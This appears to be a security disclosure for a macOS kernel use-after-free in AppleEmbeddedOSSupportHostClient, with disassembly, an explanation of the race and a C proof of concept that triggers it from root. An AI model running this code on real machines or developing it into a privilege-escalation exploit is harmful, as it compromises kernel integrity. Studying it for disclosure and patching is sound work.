1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 |
/* AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models. Here's the userclient's registerNotificationPort method: __text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int) __text:0000000000002DE4 pushrbp __text:0000000000002DE5 mov rbp, rsp __text:0000000000002DE8 pushr14 __text:0000000000002DEA pushrbx __text:0000000000002DEB mov r14, rsi __text:0000000000002DEE mov rbx, rdi __text:0000000000002DF1 mov rdi, [rbx+0E8h] __text:0000000000002DF8 testrdi, rdi __text:0000000000002DFB jzshort loc_2E0D __text:0000000000002DFD call__ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *) __text:0000000000002E02 mov qword ptr [rbx+0E8h], 0 __text:0000000000002E0D __text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j __text:0000000000002E0D mov [rbx+0E8h], r14 __text:0000000000002E14 xor eax, eax __text:0000000000002E16 pop rbx __text:0000000000002E17 pop r14 __text:0000000000002E19 pop rbp __text:0000000000002E1A retn The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent dangerous concurrent accesses. By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when it only holds one. Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc. Repro like this: while true; do ./embedded_host; done Please test on a machine which has a touchbar! > kextstat | grep AppleEmbeddedOSSupport should display something if it does. */ // ianbeer #if 0 MacOS kernel uaf due to lack of locking in AppleEmbeddedOSSupportHostClient::registerNotificationPort AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models. Here's the userclient's registerNotificationPort method: __text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int) __text:0000000000002DE4 pushrbp __text:0000000000002DE5 mov rbp, rsp __text:0000000000002DE8 pushr14 __text:0000000000002DEA pushrbx __text:0000000000002DEB mov r14, rsi __text:0000000000002DEE mov rbx, rdi __text:0000000000002DF1 mov rdi, [rbx+0E8h] __text:0000000000002DF8 testrdi, rdi __text:0000000000002DFB jzshort loc_2E0D __text:0000000000002DFD call__ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *) __text:0000000000002E02 mov qword ptr [rbx+0E8h], 0 __text:0000000000002E0D __text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j __text:0000000000002E0D mov [rbx+0E8h], r14 __text:0000000000002E14 xor eax, eax __text:0000000000002E16 pop rbx __text:0000000000002E17 pop r14 __text:0000000000002E19 pop rbp __text:0000000000002E1A retn The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent dangerous concurrent accesses. By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when it only holds one. Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc. Repro like this: while true; do ./embedded_host; done Please test on a machine which has a touchbar! > kextstat | grep AppleEmbeddedOSSupport should display something if it does. #endif #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <mach/mach.h> #include <mach/host_priv.h> #include <IOKit/IOKitLib.h> mach_port_t q() { mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p; } volatile int start = 0; volatile mach_port_t conn; void* racer(void* arg) { while(!start){;} IOConnectSetNotificationPort(conn, 0, MACH_PORT_NULL, 0); return NULL; } int main() { kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleEmbeddedOSSupportHost")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } mach_port_t p = q(); IOConnectSetNotificationPort(conn, 0, p, 0); //mach_port_destroy(mach_task_self(), p); // kernel holds the only ref int n_threads = 2; pthread_t threads[n_threads]; for(uint32_t i = 0; i < n_threads; i++) { pthread_create(&threads[i], NULL, racer, NULL); } start = 1; for(uint32_t i = 0; i < n_threads; i++) { pthread_join(threads[i], NULL); } return 0; } |